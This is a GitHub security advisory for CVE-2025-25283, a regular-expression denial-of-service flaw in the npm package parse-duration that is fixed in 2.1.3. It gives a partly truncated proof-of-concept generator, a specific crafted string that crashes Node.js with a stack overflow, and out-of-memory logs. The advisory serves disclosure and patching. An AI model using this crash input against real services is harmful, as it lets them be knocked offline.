GitHub Advisoryadvisory · npm
GHSA-hcrg-fc28-fcg5 parse-duration has a Regex Denial of Service that results in event loop delay and out of memory
HIGH
Official page ↗
- Aliases
- CVE-2025-25283
- Ecosystem
- npm
- Packages
- parse-duration
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1333
- Reviewed
- 2025-02-12
Affected packages
• npm parse-duration: < 2.1.3 → fixed in 2.1.3
Description
Summary
This report finds 2 availability issues due to the regex used in the `parse-duration` npm package:
1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.
PoC
Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:
```js
// Vulnerable regex to use from the library:
import parse from './index.js'
function generateStressTestString(length, decimalProbability) {
let result = "";
for (let i = 0; i
[34339:0x7686430] 14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430] 17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
----- Native stack trace -----
1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node]
2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
4: 0x11180d5 [node]
5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]
6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]
9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]
10: 0x1979ef6 [node]
Aborted (core dumped)
```
You can note that:
1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms)
2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's `parse()` function
3. A 200 MB of input size already causes JavaScript heap out of memory crash
However, more interestingly, if we focus on the input string case:
```js
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)
```
Even though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:
```sh
Regex test on string of length 5225503 (size: 9.97 MB):
file:///workspaces/parse-duration/index.js:21
.replace(durationRE, (_, n, units) => {
^
RangeError: Maximum call stack size exceeded
at String.replace ()
at parse (file:///workspaces/parse-duration/index.js:21:6)
at testRegex (file:///workspaces/parse-duration/redos.js:35:17)
at file:///workspaces/parse-duration/redos.js:89:12
at ModuleJob.run (node:internal/modules/esm/module_job:234:25)
at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)
at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)
Node.js v20.18.1
```
To note, the issue at hand may not just be the primary regex in use but rather the reliance of the various `replace` functions in the `parse()` function which create copies of the input in memory.
Impact
• I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.
• In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.
• Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine…
Related
Alias · CVE (1)
- CVE-2025-25283 parse-duraton is software that allows users to convert a human readable duration to milliseconds. vulnerability
Weakness · CWE (1)
- CWE-1333 Inefficient Regular Expression Complexity weakness
References
- https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-25283 advisory
- https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7 web
- https://github.com/jkroso/parse-duration package
- https://github.com/jkroso/parse-duration/releases/tag/v2.1.3 web